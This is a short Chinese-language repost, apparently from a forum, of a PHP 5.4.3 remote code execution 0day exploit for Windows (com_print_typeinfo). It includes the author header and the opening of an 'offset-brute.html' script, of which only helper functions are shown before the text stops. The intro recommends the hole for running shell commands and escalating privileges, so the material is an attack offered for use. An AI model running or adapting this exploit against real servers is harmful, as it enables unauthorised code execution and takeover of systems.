php5.4漏洞解决,php5.4.3的远程代码执行漏洞，提权挺管用

PHP com_print_typeinfo()的漏洞，通过PHP代码调用"exec"可运行SHELL命令

用这个提权是不是很方便了？

// Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)

// Exploit author: 0in (Maksymilian Motyl)

// Email: 0in(dot)email(at)gmail.com

// * Bug with Variant type parsing originally discovered by Condis

// Tested on Windows XP SP3 fully patched (Polish)

===================

offset-brute.html

===================

0day

PHP 5.4.3 0day by 0in & cOndis

function sleep(milliseconds) {

var start = new Date().getTime();

for (var i = 0; i < 1e7; i++) {

if ((new Date().getTime() - start) > milliseconds){

break;

}

}

}

function makeRequest(url, parameters)

{

var xmlhttp = new XMLHttpRequest();

if (window.XMLHttpRequest) {

xmlhttp = new XMLHttpRequest();

if (xmlhttp.overrideMimeType) {

xmlhttp.overrideMimeType('text/xml');

}

} else if (window.ActiveXObject) {

// IE

try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }

catch (e) {

try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }

catch (e) {}

}

}

if (!xmlhttp) {

alert('Giving up :( Cannot create an XMLHTTP instance');

return false;

}

xmlhttp.open("GET",url,true);

xmlhttp.send(null);

return true;